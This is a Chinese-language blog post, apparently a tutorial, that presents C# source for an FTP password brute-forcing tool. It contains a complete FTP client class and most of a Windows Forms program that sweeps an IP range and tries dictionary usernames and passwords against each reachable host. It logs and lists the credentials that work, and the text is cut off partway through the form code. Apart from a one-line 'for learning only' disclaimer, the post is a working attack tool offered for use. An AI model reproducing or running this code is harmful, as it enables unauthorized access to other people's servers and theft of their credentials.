C#编写FTP密码爆破器

在这之前,我必须要声明的是,代码仅供学习参考使用,以此代码发生的后果,请自己负责。

先来张爆破成功的图:

首先,创建一个Windows应用程序,引入一个FTP操作类,代码如下:

View Code
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections;

namespace System
{
    /// <summary>
    /// FTP类
    /// </summary>
    public class FTP
    {
        #region 变量声明
        /// <summary>
        /// 服务器连接地址
        /// </summary>
        public string server;
        /// <summary>
        /// 登陆帐号
        /// </summary>
        public string user;
        /// <summary>
        /// 登陆口令
        /// </summary>
        public string pass;
        /// <summary>
        /// 端口号
        /// </summary>
        public int port;
        /// <summary>
        /// 无响应时间(FTP在指定时间内无响应)
        /// </summary>
        public int timeout;
        /// <summary>
        /// 服务器错误状态信息
        /// </summary>
        public string errormessage;   
        /// <summary>
        /// 服务器状态返回信息
        /// </summary>
        private string messages; 
        /// <summary>
        /// 服务器的响应信息
        /// </summary>
        private string responseStr; 
        /// <summary>
        /// 链接模式(主动或被动,默认为被动)
        /// </summary>
        private bool passive_mode;        
        /// <summary>
        /// 上传或下载信息字节数
        /// </summary>
        private long bytes_total; 
        /// <summary>
        /// 上传或下载的文件大小
        /// </summary>
        private long file_size; 
        /// <summary>
        /// 主套接字
        /// </summary>
        private Socket main_sock;
        /// <summary>
        /// 要链接的网络地址终结点
        /// </summary>
        private IPEndPoint main_ipEndPoint;
        /// <summary>
        /// 侦听套接字
        /// </summary>
        private Socket listening_sock;
        /// <summary>
        /// 数据套接字
        /// </summary>
        private Socket data_sock;
        /// <summary>
        /// 要链接的网络数据地址终结点
        /// </summary>
        private IPEndPoint data_ipEndPoint;
        /// <summary>
        /// 用于上传或下载的文件流对象
        /// </summary>
        private FileStream file;
        /// <summary>
        /// 与FTP服务器交互的状态值
        /// </summary>
        private int response;
        /// <summary>
        /// 读取并保存当前命令执行后从FTP服务器端返回的数据信息
        /// </summary>
        private string bucket;
        /// <summary>
        /// 默认byte数组长度
        /// </summary>
        private int byteLength = 512;
        #endregion

        #region 构造函数

        /// <summary>
        /// 构造函数
        /// </summary>
        public FTP()
        {
            server = null;
            user = null;
            pass = null;
            port = 21;
            passive_mode = true;        
            main_sock = null;
            main_ipEndPoint = null;
            listening_sock = null;
            data_sock = null;
            data_ipEndPoint = null;
            file = null;
            bucket = "";
            bytes_total = 0;
            timeout = 10000;    //无响应时间为10秒
            messages = "";
            errormessage = "";
        }

        /// <summary>
        /// 构造函数
        /// </summary>
        /// <param name="server">服务器IP或名称</param>
        /// <param name="user">登陆帐号</param>
        /// <param name="pass">登陆口令</param>
        public FTP(string server, string user, string pass)
        {
            this.server = server;
            this.user = user;
            this.pass = pass;
            port = 21;
            passive_mode = true;    
            main_sock = null;
            main_ipEndPoint = null;
            listening_sock = null;
            data_sock = null;
            data_ipEndPoint = null;
            file = null;
            bucket = "";
            bytes_total = 0;
            timeout = 10000;    //无响应时间为10秒
            messages = "";
            errormessage = "";
        }
      
        /// <summary>
        /// 构造函数
        /// </summary>
        /// <param name="server">服务器IP或名称</param>
        /// <param name="port">端口号</param>
        /// <param name="user">登陆帐号</param>
        /// <param name="pass">登陆口令</param>
        public FTP(string server, int port, string user, string pass)
        {
            this.server = server;
            this.user = user;
            this.pass = pass;
            this.port = port;
            passive_mode = true;    
            main_sock = null;
            main_ipEndPoint = null;
            listening_sock = null;
            data_sock = null;
            data_ipEndPoint = null;
            file = null;
            bucket = "";
            bytes_total = 0;
            timeout = 10000;    //无响应时间为10秒
            messages = "";
            errormessage = "";
        }


        /// <summary>
        /// 构造函数
        /// </summary>
        /// <param name="server">服务器IP或名称</param>
        /// <param name="port">端口号</param>
        /// <param name="user">登陆帐号</param>
        /// <param name="pass">登陆口令</param>
        /// <param name="mode">链接方式</param>
        public FTP(string server, int port, string user, string pass, int mode)
        {
            this.server = server;
            this.user = user;
            this.pass = pass;
            this.port = port;
            passive_mode = mode <= 1 ? true : false;
            main_sock = null;
            main_ipEndPoint = null;
            listening_sock = null;
            data_sock = null;
            data_ipEndPoint = null;
            file = null;
            bucket = "";
            bytes_total = 0;
            this.timeout = 10000;    //无响应时间为10秒
            messages = "";
            errormessage = "";
        }

        /// <summary>
        /// 构造函数
        /// </summary>
        /// <param name="server">服务器IP或名称</param>
        /// <param name="port">端口号</param>
        /// <param name="user">登陆帐号</param>
        /// <param name="pass">登陆口令</param>
        /// <param name="mode">链接方式</param>
        /// <param name="timeout">无响应时间(限时),单位:秒 (小于或等于0为不受时间限制)</param>
        public FTP(string server, int port, string user, string pass, int mode, int timeout_sec)
        {
            this.server = server;
            this.user = user;
            this.pass = pass;
            this.port = port;
            passive_mode = mode <= 1 ? true : false;
            main_sock = null;
            main_ipEndPoint = null;
            listening_sock = null;
            data_sock = null;
            data_ipEndPoint = null;
            file = null;
            bucket = "";
            bytes_total = 0;
            this.timeout = (timeout_sec <= 0) ? int.MaxValue : (timeout_sec * 1000);    //无响应时间
            messages = "";
            errormessage = "";
        }

        #endregion

        #region 属性
        /// <summary>
        /// 当前是否已连接
        /// </summary>
        public bool IsConnected
        {
            get
            {
                if (main_sock != null)
                    return main_sock.Connected;
                return false;
            }
        }

        /// <summary>
        /// 当message缓冲区有数据则返回
        /// </summary>
        public bool MessagesAvailable
        {
            get
            {
                if (messages.Length > 0)
                    return true;
                return false;
            }
        }

        /// <summary>
        /// 获取服务器状态返回信息, 并清空messages变量
        /// </summary>
        public string Messages
        {
            get
            {
                string tmp = messages;
                messages = "";
                return tmp;
            }
        }
        /// <summary>
        /// 最新指令发出后服务器的响应
        /// </summary>
        public string ResponseString
        {
            get
            {
                return responseStr;
            }
        }


        /// <summary>
        ///在一次传输中,发送或接收的字节数
        /// </summary>
        public long BytesTotal
        {
            get
            {
                return bytes_total;
            }
        }

        /// <summary>
        ///被下载或上传的文件大小,当文件大小无效时为0
        /// </summary>
        public long FileSize
        {
            get
            {
                return file_size;
            }
        }

        /// <summary>
        /// 链接模式: 
        /// true 被动模式 [默认]
        /// false: 主动模式
        /// </summary>
        public bool PassiveMode
        {
            get
            {
                return passive_mode;
            }
            set
            {
                passive_mode = value;
            }
        }

        #endregion

        #region 操作

        /// <summary>
        /// 操作失败
        /// </summary>
        private void Fail()
        {
            Disconnect();
            errormessage += responseStr;
            //throw new Exception(responseStr);
        }


        private void SetBinaryMode(bool mode)
        {
            if (mode)
                SendCommand("TYPE I");
            else
                SendCommand("TYPE A");

            ReadResponse();
            if (response != 200)
                Fail();
        }


        private void SendCommand(string command)
        {
            Byte[] cmd = Encoding.ASCII.GetBytes((command + "\r\n").ToCharArray());

            if (command.Length > 3 && command.Substring(0, 4) == "PASS")
            {
                messages = "\rPASS xxx";
            }
            else
            {
                messages = "\r" + command;
            }

            try
            {
                main_sock.Send(cmd, cmd.Length, 0);
            }
            catch (Exception ex)
            {
                try
                {
                    Disconnect();
                    errormessage += ex.Message;
                    return;
                }
                catch
                {
                    main_sock.Close();
                    file.Close();
                    main_sock = null;
                    main_ipEndPoint = null;
                    file = null;
                }
            }
        }


        private void FillBucket()
        {
            Byte[] bytes = new Byte[byteLength];
            long bytesgot;
            int msecs_passed = 0;

            while (main_sock != null && main_sock.Available < 1)
            {
                System.Threading.Thread.Sleep(50);
                msecs_passed += 50;
                //当等待时间到,则断开链接
                if (msecs_passed > timeout)
                {
                    Disconnect();
                    errormessage += "Timed out waiting on server to respond.";
                    return;
                }
            }

            while (main_sock != null && main_sock.Available > 0)
            {
                bytesgot = main_sock.Receive(bytes, byteLength, 0);
                bucket += Encoding.ASCII.GetString(bytes, 0, (int)bytesgot);
                System.Threading.Thread.Sleep(50);
            }
        }


        private string GetLineFromBucket()
        {
            int i;
            string buf = "";

            if ((i = bucket.IndexOf('\n')) < 0)
            {
                while (i < 0)
                {
                    FillBucket();
                    i = bucket.IndexOf('\n');
                }
            }

            buf = bucket.Substring(0, i);
            bucket = bucket.Substring(i + 1);

            return buf;
        }


        /// <summary>
        /// 返回服务器端返回信息
        /// </summary>
        private void ReadResponse()
        {
            string buf;
            messages = "";

            while (true)
            {
                buf = GetLineFromBucket();

                if (Regex.Match(buf, "^[0-9]+ ").Success)
                {
                    responseStr = buf;
                    response = int.Parse(buf.Substring(0, 3));
                    break;
                }
                else
                    messages += Regex.Replace(buf, "^[0-9]+-", "") + "\n";
            }
        }


        /// <summary>
        /// 打开数据套接字
        /// </summary>
        private void OpenDataSocket()
        {
            if (passive_mode)
            {
                string[] pasv;
                string server;
                int port;

                Connect();
                SendCommand("PASV");
                ReadResponse();
                if (response != 227)
                    Fail();

                try
                {
                    int i1, i2;

                    i1 = responseStr.IndexOf('(') + 1;
                    i2 = responseStr.IndexOf(')') - i1;
                    pasv = responseStr.Substring(i1, i2).Split(',');
                }
                catch (Exception)
                {
                    Disconnect();
                    errormessage += "Malformed PASV response: " + responseStr;
                    return ;
                }

                if (pasv.Length < 6)
                {
                    Disconnect();
                    errormessage += "Malformed PASV response: " + responseStr;
                    return ;
                }

                server = String.Format("{0}.{1}.{2}.{3}", pasv[0], pasv[1], pasv[2], pasv[3]);
                port = (int.Parse(pasv[4]) << 8) + int.Parse(pasv[5]);

                try
                {
                    CloseDataSocket();

                    data_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

//#if NET1
//                    data_ipEndPoint = new IPEndPoint(Dns.GetHostByName(server).AddressList[0], port);
//#else
//                    data_ipEndPoint = new IPEndPoint(System.Net.Dns.GetHostEntry(server).AddressList[0], port);
//#endif

                    data_sock.Connect(server, port);//data_ipEndPoint);

                }
                catch (Exception ex)
                {
                    errormessage += "Failed to connect for data transfer: " + ex.Message;
                    return ;
                }
            }
            else
            {
                Connect();

                try
                {
                    CloseDataSocket();

                    listening_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                    // 对于端口,则发送IP地址.下面则提取相应信息
                    string sLocAddr = main_sock.LocalEndPoint.ToString();
                    int ix = sLocAddr.IndexOf(':');
                    if (ix < 0)
                    {
                        errormessage += "Failed to parse the local address: " + sLocAddr;
                        return;
                    }
                    string sIPAddr = sLocAddr.Substring(0, ix);
                    // 系统自动绑定一个端口号(设置 port = 0)
                    System.Net.IPEndPoint localEP = new IPEndPoint(System.Net.IPAddress.Parse(sIPAddr), 0);

                    listening_sock.Bind(localEP);
                    sLocAddr = listening_sock.LocalEndPoint.ToString();
                    ix = sLocAddr.IndexOf(':');
                    if (ix < 0)
                    {
                        errormessage += "Failed to parse the local address: " + sLocAddr;

                    }
                    int nPort = int.Parse(sLocAddr.Substring(ix + 1));

                    // 开始侦听链接请求
                    listening_sock.Listen(1);
                    string sPortCmd = string.Format("PORT {0},{1},{2}",
                                                    sIPAddr.Replace('.', ','),
                                                    nPort / 256, nPort % 256);
                    SendCommand(sPortCmd);
                    ReadResponse();
                    if (response != 200)
                        Fail();

                }
                catch (Exception ex)
                {
                    errormessage += "Failed to connect for data transfer: " + ex.Message;
                    return;
                }
            }
        }


        private void ConnectDataSocket()
        {
            if (data_sock != null)        // 已链接
                return;

            try
            {
                data_sock = listening_sock.Accept();    // Accept is blocking
                listening_sock.Close();
                listening_sock = null;

                if (data_sock == null)
                {
                    throw new Exception("Winsock error: " +
                        Convert.ToString(System.Runtime.InteropServices.Marshal.GetLastWin32Error()));
                }
            }
            catch (Exception ex)
            {
                errormessage += "Failed to connect for data transfer: " + ex.Message;
            }
        }


        private void CloseDataSocket()
        {
            if (data_sock != null)
            {
                if (data_sock.Connected)
                {
                    data_sock.Close();
                }
                data_sock = null;
            }

            data_ipEndPoint = null;
        }

        /// <summary>
        /// 关闭所有链接
        /// </summary>
        public void Disconnect()
        {
            CloseDataSocket();

            if (main_sock != null)
            {
                if (main_sock.Connected)
                {
                    SendCommand("QUIT");
                    main_sock.Close();
                }
                main_sock = null;
            }

            if (file != null)
                file.Close();

            main_ipEndPoint = null;
            file = null;
        }

        /// <summary>
        /// 链接到FTP服务器
        /// </summary>
        /// <param name="server">要链接的IP地址或主机名</param>
        /// <param name="port">端口号</param>
        /// <param name="user">登陆帐号</param>
        /// <param name="pass">登陆口令</param>
        public void Connect(string server, int port, string user, string pass)
        {
            this.server = server;
            this.user = user;
            this.pass = pass;
            this.port = port;

            Connect();
        }

        /// <summary>
        /// 链接到FTP服务器
        /// </summary>
        /// <param name="server">要链接的IP地址或主机名</param>
        /// <param name="user">登陆帐号</param>
        /// <param name="pass">登陆口令</param>
        public void Connect(string server, string user, string pass)
        {
            this.server = server;
            this.user = user;
            this.pass = pass;

            Connect();
        }

        /// <summary>
        /// 链接到FTP服务器
        /// </summary>
        public bool Connect()
        {
            if (server == null)
            {
                errormessage += "No server has been set.\r\n";
            }
            if (user == null)
            {
                errormessage += "No server has been set.\r\n";
            }

            if (main_sock != null)
                if (main_sock.Connected)
                    return true;

            try
            {
                main_sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//#if NET1
//                //main_ipEndPoint = new IPEndPoint(Dns.GetHostByName(server).AddressList[0], port);
//#else
//                //main_ipEndPoint = new IPEndPoint(System.Net.Dns.GetHostEntry(server).AddressList[0], port);
//#endif

                main_sock.Connect(server, port);//main_ipEndPoint);
            }
            catch (Exception ex)
            {
                errormessage += ex.Message;
                return false;
            }

            ReadResponse();
            if (response != 220)
                Fail();

            SendCommand("USER " + user);
            ReadResponse();

            switch (response)
            {
                case 331:
                    if (pass == null)
                    {
                        Disconnect();
                        errormessage += "No password has been set.";
                        return false;
                    }
                    SendCommand("PASS " + pass);
                    ReadResponse();
                    if (response != 230)
                    {
                        Fail();
                        return false;
                    }
                    break;
                case 230:
                    break;
            }

            return true;
        }

        /// <summary>
        /// 获取FTP当前(工作)目录下的文件列表
        /// </summary>
        /// <returns>返回文件列表数组</returns>
        public ArrayList List()
        {
            Byte[] bytes = new Byte[byteLength];
            string file_list = "";
            long bytesgot = 0;
            int msecs_passed = 0;
            ArrayList list = new ArrayList();

            Connect();
            OpenDataSocket();
            SendCommand("LIST");
            ReadResponse();

            switch (response)
            {
                case 125:
                case 150:
                    break;
                default:
                    CloseDataSocket();
                    throw new Exception(responseStr);
            }
            ConnectDataSocket();

            while (data_sock.Available < 1)
            {
                System.Threading.Thread.Sleep(50);
                msecs_passed += 50;

                if (msecs_passed > (timeout / 10))
                {
                    break;
                }
            }

            while (data_sock.Available > 0)
            {
                bytesgot = data_sock.Receive(bytes, bytes.Length, 0);
                file_list += Encoding.ASCII.GetString(bytes, 0, (int)bytesgot);
                System.Threading.Thread.Sleep(50);
            }

            CloseDataSocket();

            ReadResponse();
            if (response != 226)
                throw new Exception(responseStr);

            foreach (string f in file_list.Split('\n'))
            {
                if (f.Length > 0 && !Regex.Match(f, "^total").Success)
                    list.Add(f.Substring(0, f.Length - 1));
            }

            return list;
        }

        /// <summary>
        /// 获取到文件名列表
        /// </summary>
        /// <returns>返回文件名列表</returns>
        public ArrayList ListFiles()
        {
            ArrayList list = new ArrayList();

            foreach (string f in List())
            {
                if ((f.Length > 0))
                {
                    if ((f[0] != 'd') && (f.ToUpper().IndexOf("<DIR>") < 0))
                        list.Add(f);
                }
            }

            return list;
        }

        /// <summary>
        /// 获取路径列表
        /// </summary>
        /// <returns>返回路径列表</returns>
        public ArrayList ListDirectories()
        {
            ArrayList list = new ArrayList();

            foreach (string f in List())
            {
                if (f.Length > 0)
                {
                    if ((f[0] == 'd') || (f.ToUpper().IndexOf("<DIR>") >= 0))
                        list.Add(f);
                }
            }

            return list;
        }

        /// <summary>
        /// 获取原始数据信息.
        /// </summary>
        /// <param name="fileName">远程文件名</param>
        /// <returns>返回原始数据信息.</returns>
        public string GetFileDateRaw(string fileName)
        {
            Connect();

            SendCommand("MDTM " + fileName);
            ReadResponse();
            if (response != 213)
            {
                errormessage += responseStr;
                return "";
            }

            return (this.responseStr.Substring(4));
        }

        /// <summary>
        /// 得到文件日期.
        /// </summary>
        /// <param name="fileName">远程文件名</param>
        /// <returns>返回远程文件日期</returns>
        public DateTime GetFileDate(string fileName)
        {
            return ConvertFTPDateToDateTime(GetFileDateRaw(fileName));
        }

        private DateTime ConvertFTPDateToDateTime(string input)
        {
            if (input.Length < 14)
                throw new ArgumentException("Input Value for ConvertFTPDateToDateTime method was too short.");

            //YYYYMMDDhhmmss": 
            int year = Convert.ToInt16(input.Substring(0, 4));
            int month = Convert.ToInt16(input.Substring(4, 2));
            int day = Convert.ToInt16(input.Substring(6, 2));
            int hour = Convert.ToInt16(input.Substring(8, 2));
            int min = Convert.ToInt16(input.Substring(10, 2));
            int sec = Convert.ToInt16(input.Substring(12, 2));

            return new DateTime(year, month, day, hour, min, sec);
        }

        /// <summary>
        /// 获取FTP上的当前(工作)路径
        /// </summary>
        /// <returns>返回FTP上的当前(工作)路径</returns>
        public string GetWorkingDirectory()
        {
            //PWD - 显示工作路径
            Connect();
            SendCommand("PWD");
            ReadResponse();

            if (response != 257)
            {
                errormessage += responseStr;
            }

            string pwd;
            try
            {
                pwd = responseStr.Substring(responseStr.IndexOf("\"", 0) + 1);//5);
                pwd = pwd.Substring(0, pwd.LastIndexOf("\""));
                pwd = pwd.Replace("\"\"", "\""); // 替换带引号的路径信息符号
            }
            catch (Exception ex)
            {
                errormessage += ex.Message;
                return null;
            }

            return pwd;
        }


        /// <summary>
        /// 跳转服务器上的当前(工作)路径
        /// </summary>
        /// <param name="path">要跳转的路径</param>
        public bool ChangeDir(string path)
        {
            Connect();
            SendCommand("CWD " + path);
            ReadResponse();
            if (response != 250)
            {
                errormessage += responseStr;
                return false;
            }
            return true;
        }

        /// <summary>
        /// 创建指定的目录
        /// </summary>
        /// <param name="dir">要创建的目录</param>
        public void MakeDir(string dir)
        {
            Connect();
            SendCommand("MKD " + dir);
            ReadResponse();

            switch (response)
            {
                case 257:
                case 250:
                    break;
                default:
                    {
                        errormessage += responseStr;
                        break;
                    }
            }
        }

        /// <summary>
        /// 移除FTP上的指定目录
        /// </summary>
        /// <param name="dir">要移除的目录</param>
        public void RemoveDir(string dir)
        {
            Connect();
            SendCommand("RMD " + dir);
            ReadResponse();
            if (response != 250)
            {
                errormessage += responseStr;
                return; ;
            }
        }

        /// <summary>
        /// 移除FTP上的指定文件
        /// </summary>
        /// <param name="filename">要移除的文件名称</param>
        public void RemoveFile(string filename)
        {
            Connect();
            SendCommand("DELE " + filename);
            ReadResponse();
            if (response != 250)
            {
                errormessage += responseStr;
            }
        }

        /// <summary>
        /// 重命名FTP上的文件
        /// </summary>
        /// <param name="oldfilename">原文件名</param>
        /// <param name="newfilename">新文件名</param>
        public void RenameFile(string oldfilename, string newfilename)
        {
            Connect();
            SendCommand("RNFR " + oldfilename);
            ReadResponse();
            if (response != 350)
            {
                errormessage += responseStr;
            }
            else
            {
                SendCommand("RNTO " + newfilename);
                ReadResponse();
                if (response != 250)
                {
                    errormessage += responseStr;
                }
            }
        }

        /// <summary>
        /// 获得指定文件的大小(如果FTP支持)
        /// </summary>
        /// <param name="filename">指定的文件</param>
        /// <returns>返回指定文件的大小</returns>
        public long GetFileSize(string filename)
        {
            Connect();
            SendCommand("SIZE " + filename);
            ReadResponse();
            if (response != 213)
            {
                errormessage += responseStr;
            }

            return Int64.Parse(responseStr.Substring(4));
        }

        /// <summary>
        /// 上传指定的文件
        /// </summary>
        /// <param name="filename">要上传的文件</param>
        public bool OpenUpload(string filename)
        {
            return OpenUpload(filename, filename, false);
        }

        /// <summary>
        /// 上传指定的文件
        /// </summary>
        /// <param name="filename">本地文件名</param>
        /// <param name="remotefilename">远程要覆盖的文件名</param>
        public bool OpenUpload(string filename, string remotefilename)
        {
            return OpenUpload(filename, remotefilename, false);
        }

        /// <summary>
        /// 上传指定的文件
        /// </summary>
        /// <param name="filename">本地文件名</param>
        /// <param name="resume">如果存在,则尝试恢复</param>
        public bool OpenUpload(string filename, bool resume)
        {
            return OpenUpload(filename, filename, resume);
        }

        /// <summary>
        /// 上传指定的文件
        /// </summary>
        /// <param name="filename">本地文件名</param>
        /// <param name="remote_filename">远程要覆盖的文件名</param>
        /// <param name="resume">如果存在,则尝试恢复</param>
        public bool OpenUpload(string filename, string remote_filename, bool resume)
        {
            Connect();
            SetBinaryMode(true);
            OpenDataSocket();

            bytes_total = 0;

            try
            {
                file = new FileStream(filename, FileMode.Open);
            }
            catch (Exception ex)
            {
                file = null;
                errormessage += ex.Message;
                return false;
            }

            file_size = file.Length;

            if (resume)
            {
                long size = GetFileSize(remote_filename);
                SendCommand("REST " + size);
                ReadResponse();
                if (response == 350)
                    file.Seek(size, SeekOrigin.Begin);
            }

            SendCommand("STOR " + remote_filename);
            ReadResponse();

            switch (response)
            {
                case 125:
                case 150:
                    break;
                default:
                    file.Close();
                    file = null;
                    errormessage += responseStr;
                    return false;
            }
            ConnectDataSocket();

            return true;
        }

        /// <summary>
        /// 下载指定文件
        /// </summary>
        /// <param name="filename">远程文件名称</param>
        public void OpenDownload(string filename)
        {
            OpenDownload(filename, filename, false);
        }

        /// <summary>
        /// 下载并恢复指定文件
        /// </summary>
        /// <param name="filename">远程文件名称</param>
        /// <param name="resume">如文件存在,则尝试恢复</param>
        public void OpenDownload(string filename, bool resume)
        {
            OpenDownload(filename, filename, resume);
        }

        /// <summary>
        /// 下载指定文件
        /// </summary>
        /// <param name="filename">远程文件名称</param>
        /// <param name="localfilename">本地文件名</param>
        public void OpenDownload(string remote_filename, string localfilename)
        {
            OpenDownload(remote_filename, localfilename, false);
        }

        /// <summary>
        /// 打开并下载文件
        /// </summary>
        /// <param name="remote_filename">远程文件名称</param>
        /// <param name="local_filename">本地文件名</param>
        /// <param name="resume">如果文件存在则恢复</param>
        public void OpenDownload(string remote_filename, string local_filename, bool resume)
        {
            Connect();
            SetBinaryMode(true);

            bytes_total = 0;

            try
            {
                file_size = GetFileSize(remote_filename);
            }
            catch
            {
                file_size = 0;
            }

            if (resume && File.Exists(local_filename))
            {
                try
                {
                    file = new FileStream(local_filename, FileMode.Open);
                }
                catch (Exception ex)
                {
                    file = null;
                    throw new Exception(ex.Message);
                }

                SendCommand("REST " + file.Length);
                ReadResponse();
                if (response != 350)
                    throw new Exception(responseStr);
                file.Seek(file.Length, SeekOrigin.Begin);
                bytes_total = file.Length;
            }
            else
            {
                try
                {
                    file = new FileStream(local_filename, FileMode.Create);
                }
                catch (Exception ex)
                {
                    file = null;
                    throw new Exception(ex.Message);
                }
            }

            OpenDataSocket();
            SendCommand("RETR " + remote_filename);
            ReadResponse();

            switch (response)
            {
                case 125:
                case 150:
                    break;
                default:
                    file.Close();
                    file = null;
                    errormessage += responseStr;
                    return;
            }
            ConnectDataSocket();

            return;
        }

        /// <summary>
        /// 上传文件(循环调用直到上传完毕)
        /// </summary>
        /// <returns>发送的字节数</returns>
        public long DoUpload()
        {           
            Byte[] bytes = new Byte[byteLength];
            long bytes_got;

            try
            {
                bytes_got = file.Read(bytes, 0, bytes.Length);
                bytes_total += bytes_got;
                data_sock.Send(bytes, (int)bytes_got, 0);

                if (bytes_got <= 0)
                {
                    //上传完毕或有错误发生
                    file.Close();
                    file = null;

                    CloseDataSocket();
                    ReadResponse();
                    switch (response)
                    {
                        case 226:
                        case 250:
                            break;
                        default: //当上传中断时
                            {
                                errormessage += responseStr;
                                return -1; 
                            }
                    }

                    SetBinaryMode(false);
                }
            }
            catch (Exception ex)
            {
                file.Close();
                file = null;
                CloseDataSocket();
                ReadResponse();
                SetBinaryMode(false);
                //throw ex;
                //当上传中断时
                errormessage += ex.Message;
                return -1;
            }
            return bytes_got;
        }

        /// <summary>
        /// 下载文件(循环调用直到下载完毕)
        /// </summary>
        /// <returns>接收到的字节点</returns>
        public long DoDownload()
        {
            Byte[] bytes = new Byte[byteLength];
            long bytes_got;

            try
            {
                bytes_got = data_sock.Receive(bytes, bytes.Length, 0);

                if (bytes_got <= 0)
                {
                    //下载完毕或有错误发生
                    CloseDataSocket();
                    file.Close();
                    file = null;

                    ReadResponse();
                    switch (response)
                    {
                        case 226:
                        case 250:
                            break;
                        default:
                            {
                                errormessage += responseStr;
                                return -1;
                            }
                    }

                    SetBinaryMode(false);

                    return bytes_got;
                }

                file.Write(bytes, 0, (int)bytes_got);
                bytes_total += bytes_got;
            }
            catch (Exception ex)
            {
                CloseDataSocket();
                file.Close();
                file = null;
                ReadResponse();
                SetBinaryMode(false);
                //throw ex;
                //当下载中断时
                errormessage += ex.Message;
                return -1;
            }

            return bytes_got;
        }

        #endregion
    }
}

我的界面设计是这样的:

开始IP段和结束IP段后面的是自己写的IPAddress控件,需要的话,可以发邮件获取:admin@mrhuo.com

功能面板部分功能暂时没做,想要自己完善的文章后面会提供项目文件下载地址。

以下是form的代码:

View Code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.IO;

namespace CrackFtp
{
    public partial class frmMain : Form,IDisposable
    {
        String StaticTitle = "FTP暴力破解器 - CodeBy:MrHuo.com";
        public frmMain()
        {
            InitializeComponent();
            CheckForIllegalCrossThreadCalls = false;
            Application.DoEvents();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            ipAddress1.Text = "192.168.1.1";
            ipAddress2.Text = "192.168.1.255";
            txtPort.Text = "25";
            this.Text = StaticTitle + " 程序准备就绪.";
            Application.DoEvents();
        }

        bool IsRuning = false;
        System.Net.IPAddress IPStart = null;
        System.Net.IPAddress IPEnd = null;
        Func<String, ConnectionState> _scan = null;
        Func<ScanArgs, Boolean> _CrackIP = null;

        ConnectionState ScanIP(String ip)
        {
            Application.DoEvents();
            Boolean connectCurrentIPSeccess = false;
            ConnectionState state = ConnectionState.Closed;

            try
            {
                Ping ping = new Ping();
                PingReply reply = ping.Send(System.Net.IPAddress.Parse(ip.Trim()), 5000);
                connectCurrentIPSeccess = reply.Status == IPStatus.Success;
                if (connectCurrentIPSeccess)
                {
                    state = ConnectionState.Connecting;
                    foreach (String u in Properties.Resources.dic_User.Split(','))
                    {
                        foreach (String p in Properties.Resources.dic_Password.Split(','))
                        {
                            _CrackIP.BeginInvoke(
                                new ScanArgs()
                                {
                                    IP = ip.Trim(),
                                    UserName = u.Trim(),
                                    Password = p.Trim(),
                                    Port = Convert.ToInt32(txtPort.Text.Trim())
                                },
                                (ar) =>
                                {
                                    if (_CrackIP.EndInvoke(ar))
                                    {
                                        PrintLog(String.Format("破解IP【{0}】成功!用户名:{1},密码:{2}", ip.Trim(), u.Trim(), p.Trim()));
                                        AddCorrectRecordToList(ip.Trim(), u.Trim(), p.Trim());
                                    }
                                    else
                                    {
                                        //PrintLog(String.Format("破解IP【{0}】未成功!当前尝试用户名:{1},当前尝试密码:{2}", ip.Trim(), u.Trim(), p.Trim()));
                                    }
                                },
                                null);
                        }
                    }
                }
                else
                {
                    state = ConnectionState.Broken;
                }
            }
            catch
            {
                state = ConnectionState.Broken;
            }
            return state;
        }
        Boolean CrackIP(ScanArgs args)
        {
            Application.DoEvents();
            try
            {
                FTP ftp = new FTP(args.IP, args.UserName, args.Password);
                this.Text = StaticTitle + String.Format(" Cracking...Ip:{0},User:{1},Pass:{2}", args.IP, args.UserName, args.Password);
                ftp.Connect();
                if (ftp.IsConnected)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
            catch
            {
                return false;
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (!IsRuning)
            {
                if (ipAddress1.Text == "..." || ipAddress2.Text == "...")
                {
                    MessageBox.Show("请输入正确的IP地址!", "提示");
                    return;
                }
                if (!System.Net.IPAddress.TryParse(ipAddress1.Text, out IPStart))
                {
                    MessageBox.Show("请输入正确的IP地址!", "提示");
                    return;
                }
                else if (!System.Net.IPAddress.TryParse(ipAddress2.Text, out IPEnd))
                {
                    MessageBox.Show("请输入正确的IP地址!", "提示");
                    return;
                }
                else
                {
                    if (IP2Int64(IPStart.ToString()) <= IP2Int64(IPEnd.ToString()))
                    {
                        button1.Text = "停止扫描";
                        IsRuning = true;
                        SetDisabled();
                        Scaner();
                    }
                    else
                    {
                        MessageBox.Show("IP段开始地址不能大于IP段结束地址!");
                    }
                }
            }
            else
            {
                button1.Text = "开始扫描";
                IsRuning = false;
                SetDisabled();
            }
        }
        private void Scaner()
        {
            if (_scan == null)
            {
                _scan = new Func<string, ConnectionState>(ScanIP);
            }
            if (_CrackIP == null)
            {
                _CrackIP = new Func<ScanArgs, bool>(CrackIP);
            }
            for (long ips = IP2Int64(IPStart.ToString()); ips <= IP2Int64(IPEnd.ToString()); ips++)
            {
                Application.DoEvents();
                IAsyncResult ix = _scan.BeginInvoke(Int642IP(ips), new AsyncCallback(CallBack), Int642IP(ips));
            }
            IsRuning = false;
            SetDisabled();
        }
        /// <summary>
        /// 扫描完成之后执行的回调函数
        /// </summary>
        /// <param name="ar"></param>
        void CallBack(IAsyncResult ar)
        {
            Application.DoEvents();
            if (ar.IsCompleted)
            {
                try
                {
                    if (_scan.EndInvoke(ar) == ConnectionState.Broken)
                    {
                        //PrintLog("连接到【" + ar.AsyncState.ToString() + "】失败!网络可能无法访问!");
                        
                    }
                    else
                    {
                        PrintLog("连接到【" + ar.AsyncState.ToString() + "】成功!正在爆破中。。。");
                    }
                }
                catch (Exception ex)
                {
                    PrintLog("连接到【" + ar.AsyncState.ToString() + "】失败!可能的原因是:" + ex.Message.Trim());
                }
            }
        }
        void SetDisabled()
        {
            if (IsRuning)
            {
                ipAddress1.Enabled = ipAddress2.Enabled = txtPort.Enabled = false;
            }
            else
            {
                ipAddress1.Enabled = ipAddress2.Enabled = txtPort.Enabled = true;

            }
        }
        /// <summary>
        /// 输出操作
        /// </summary>
